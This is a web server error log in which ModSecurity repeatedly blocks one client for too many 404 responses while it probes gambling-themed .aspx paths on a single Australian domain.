[Mon Feb 23 09:21:58.343426 2026] [:error] [pid 25380:tid 25391] [client 51.77.43.170:40796] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZurtqKrc8yFQ8fy78ow5gAAAMk"]
[Mon Feb 23 09:21:59.892662 2026] [:error] [pid 39540:tid 39591] [client 51.77.43.170:45204] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aZurt7sgm9aTWhlRScKAbAAAAdY"]
[Mon Feb 23 09:22:00.624304 2026] [:error] [pid 39540:tid 39581] [client 51.77.43.170:45216] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZuruLsgm9aTWhlRScKAbwAAAcw"]
[Mon Feb 23 09:22:00.723192 2026] [:error] [pid 39540:tid 39570] [client 51.77.43.170:45220] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZuruLsgm9aTWhlRScKAcAAAAcE"]
[Mon Feb 23 09:22:00.762962 2026] [:error] [pid 39540:tid 39593] [client 51.77.43.170:45232] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZuruLsgm9aTWhlRScKAcQAAAdg"]
[Mon Feb 23 09:22:00.840841 2026] [:error] [pid 39540:tid 39569] [client 51.77.43.170:45242] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZuruLsgm9aTWhlRScKAcgAAAcA"]
[Mon Feb 23 09:22:03.200401 2026] [:error] [pid 39540:tid 39583] [client 51.77.43.170:45248] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZuru7sgm9aTWhlRScKAiAAAAc4"]
[Mon Feb 23 09:22:03.218651 2026] [:error] [pid 39540:tid 39581] [client 51.77.43.170:45258] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZuru7sgm9aTWhlRScKAiQAAAcw"]
[Mon Feb 23 09:22:03.225287 2026] [:error] [pid 39540:tid 39586] [client 51.77.43.170:45250] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZuru7sgm9aTWhlRScKAigAAAdE"]
[Mon Feb 23 09:22:03.254772 2026] [:error] [pid 39540:tid 39570] [client 51.77.43.170:45268] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZuru7sgm9aTWhlRScKAiwAAAcE"]
[Mon Feb 23 09:22:04.255837 2026] [:error] [pid 39640:tid 39671] [client 51.77.43.170:45282] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aZurvNsK--eVCgzvvucy0QAAAoE"]
[Mon Feb 23 09:22:05.683243 2026] [:error] [pid 25380:tid 25393] [client 51.77.43.170:45292] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aZurvaKrc8yFQ8fy78ow7gAAAMs"]
[Mon Feb 23 09:22:05.744407 2026] [:error] [pid 25380:tid 25405] [client 51.77.43.170:45308] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aZurvaKrc8yFQ8fy78ow7wAAANc"]
[Mon Feb 23 09:22:05.772077 2026] [:error] [pid 39538:tid 39561] [client 51.77.43.170:45314] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aZurvS4Zk8-cQOG3ZnocMgAAAZM"]
[Mon Feb 23 09:22:06.083344 2026] [:error] [pid 39639:tid 39666] [client 51.77.43.170:45318] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aZurvhpFkMoMi8uTUUMJeAAAAlc"]
[Mon Feb 23 09:22:08.167664 2026] [:error] [pid 39504:tid 39512] [client 51.77.43.170:52526] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZurwHLcHpOlI9gwwJrcMwAAAUY"]
[Mon Feb 23 09:22:08.264768 2026] [:error] [pid 39504:tid 39506] [client 51.77.43.170:52534] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZurwHLcHpOlI9gwwJrcNAAAAUA"]
[Mon Feb 23 09:22:08.318701 2026] [:error] [pid 39504:tid 39511] [client 51.77.43.170:52550] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZurwHLcHpOlI9gwwJrcNQAAAUU"]
[Mon Feb 23 09:22:08.858756 2026] [:error] [pid 29909:tid 29913] [client 51.77.43.170:52558] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZurwD9oc2QzltksUk6rUgAAAQI"]
[Mon Feb 23 09:22:10.846958 2026] [:error] [pid 25380:tid 25387] [client 51.77.43.170:52574] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZurwqKrc8yFQ8fy78ow_QAAAMU"]
[Mon Feb 23 09:22:10.926815 2026] [:error] [pid 39640:tid 39689] [client 51.77.43.170:52580] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZurwtsK--eVCgzvvucy4gAAApM"]
[Mon Feb 23 09:22:10.959120 2026] [:error] [pid 39504:tid 39519] [client 51.77.43.170:52592] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZurwnLcHpOlI9gwwJrcOgAAAU0"]
[Mon Feb 23 09:22:11.436588 2026] [:error] [pid 39639:tid 39645] [client 51.77.43.170:52600] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZurwxpFkMoMi8uTUUMJfgAAAkI"]
[Mon Feb 23 09:22:13.396623 2026] [:error] [pid 25293:tid 25312] [client 51.77.43.170:52616] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZurxeL9XfBf66iHi_eMMQAAAA0"]
[Mon Feb 23 09:22:13.449704 2026] [:error] [pid 25293:tid 25323] [client 51.77.43.170:52628] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZurxeL9XfBf66iHi_eMMgAAABg"]
[Mon Feb 23 09:22:13.479274 2026] [:error] [pid 25294:tid 25375] [client 51.77.43.170:52640] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZurxSRCFB3CqIo_jfZzqAAAAFY"]
[Mon Feb 23 09:22:14.328168 2026] [:error] [pid 25294:tid 25364] [client 51.77.43.170:52642] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZurxiRCFB3CqIo_jfZzqQAAAE8"]
[Mon Feb 23 09:22:15.864581 2026] [:error] [pid 39540:tid 39588] [client 51.77.43.170:52644] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZurx7sgm9aTWhlRScKApgAAAdM"]
[Mon Feb 23 09:22:15.936258 2026] [:error] [pid 39540:tid 39569] [client 51.77.43.170:52646] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZurx7sgm9aTWhlRScKAqAAAAcA"]
[Mon Feb 23 09:22:16.027330 2026] [:error] [pid 39540:tid 39590] [client 51.77.43.170:52660] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZuryLsgm9aTWhlRScKAqQAAAdU"]
[Mon Feb 23 09:22:17.061302 2026] [:error] [pid 39640:tid 39676] [client 51.77.43.170:52676] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZurydsK--eVCgzvvucy6gAAAoY"]
[Mon Feb 23 09:22:18.449029 2026] [:error] [pid 25294:tid 25354] [client 51.77.43.170:54474] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZuryiRCFB3CqIo_jfZzrgAAAEo"]
[Mon Feb 23 09:22:18.560568 2026] [:error] [pid 25294:tid 25366] [client 51.77.43.170:54478] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZuryiRCFB3CqIo_jfZzrwAAAFA"]
[Mon Feb 23 09:22:18.637283 2026] [:error] [pid 39504:tid 39523] [client 51.77.43.170:54492] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZurynLcHpOlI9gwwJrcPwAAAVE"]
[Mon Feb 23 09:22:19.629026 2026] [:error] [pid 25294:tid 25345] [client 51.77.43.170:54508] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZuryyRCFB3CqIo_jfZzsgAAAEY"]
[Mon Feb 23 09:22:21.088594 2026] [:error] [pid 39640:tid 39689] [client 51.77.43.170:54520] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZurzdsK--eVCgzvvucy8AAAApM"]
[Mon Feb 23 09:22:21.095416 2026] [:error] [pid 25295:tid 25353] [client 51.77.43.170:54524] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZurzY2Av4J1Jnqi7yKZfgAAAJA"]
[Mon Feb 23 09:22:21.180889 2026] [:error] [pid 39504:tid 39519] [client 51.77.43.170:54538] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZurzXLcHpOlI9gwwJrcQwAAAU0"]
[Mon Feb 23 09:22:22.486569 2026] [:error] [pid 39540:tid 39583] [client 51.77.43.170:54546] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZurzrsgm9aTWhlRScKAwQAAAc4"]
[Mon Feb 23 09:22:23.689314 2026] [:error] [pid 39540:tid 39570] [client 51.77.43.170:54556] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZurz7sgm9aTWhlRScKAygAAAcE"]
[Mon Feb 23 09:22:23.784175 2026] [:error] [pid 39540:tid 39593] [client 51.77.43.170:54570] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZurz7sgm9aTWhlRScKAywAAAdg"]
[Mon Feb 23 09:22:23.859123 2026] [:error] [pid 39540:tid 39587] [client 51.77.43.170:54584] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZurz7sgm9aTWhlRScKAzAAAAdI"]
[Mon Feb 23 09:22:24.999583 2026] [:error] [pid 25380:tid 25383] [client 51.77.43.170:54590] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZur0KKrc8yFQ8fy78oxDAAAAME"]
[Mon Feb 23 09:22:26.239387 2026] [:error] [pid 25294:tid 25334] [client 51.77.43.170:54604] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZur0iRCFB3CqIo_jfZzugAAAEM"]
[Mon Feb 23 09:22:26.364146 2026] [:error] [pid 39640:tid 39680] [client 51.77.43.170:54608] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZur0tsK--eVCgzvvucy-gAAAoo"]
[Mon Feb 23 09:22:26.386050 2026] [:error] [pid 39640:tid 39689] [client 51.77.43.170:54624] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZur0tsK--eVCgzvvucy_AAAApM"]
[Mon Feb 23 09:22:27.595836 2026] [:error] [pid 25294:tid 25374] [client 51.77.43.170:55402] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZur0yRCFB3CqIo_jfZzxgAAAFU"]
[Mon Feb 23 09:22:28.929729 2026] [:error] [pid 39504:tid 39527] [client 51.77.43.170:55418] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZur1HLcHpOlI9gwwJrciAAAAVU"]
[Mon Feb 23 09:22:28.933553 2026] [:error] [pid 39540:tid 39576] [client 51.77.43.170:55426] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZur1Lsgm9aTWhlRScKA1gAAAcc"]
[Mon Feb 23 09:22:28.966158 2026] [:error] [pid 39540:tid 39577] [client 51.77.43.170:55436] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZur1Lsgm9aTWhlRScKA1wAAAcg"]
[Mon Feb 23 09:22:30.461877 2026] [:error] [pid 39540:tid 39578] [client 51.77.43.170:55448] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZur1rsgm9aTWhlRScKA3wAAAck"]
[Mon Feb 23 09:22:31.423373 2026] [:error] [pid 39639:tid 39648] [client 51.77.43.170:55458] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZur1xpFkMoMi8uTUUMJmAAAAkU"]
[Mon Feb 23 09:22:31.549917 2026] [:error] [pid 39504:tid 39521] [client 51.77.43.170:55470] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZur13LcHpOlI9gwwJrclQAAAU8"]
[Mon Feb 23 09:22:31.646080 2026] [:error] [pid 25380:tid 25401] [client 51.77.43.170:55486] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZur16Krc8yFQ8fy78oxFAAAANM"]
[Mon Feb 23 09:22:33.122743 2026] [:error] [pid 25380:tid 25404] [client 51.77.43.170:55492] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZur2aKrc8yFQ8fy78oxGQAAANY"]
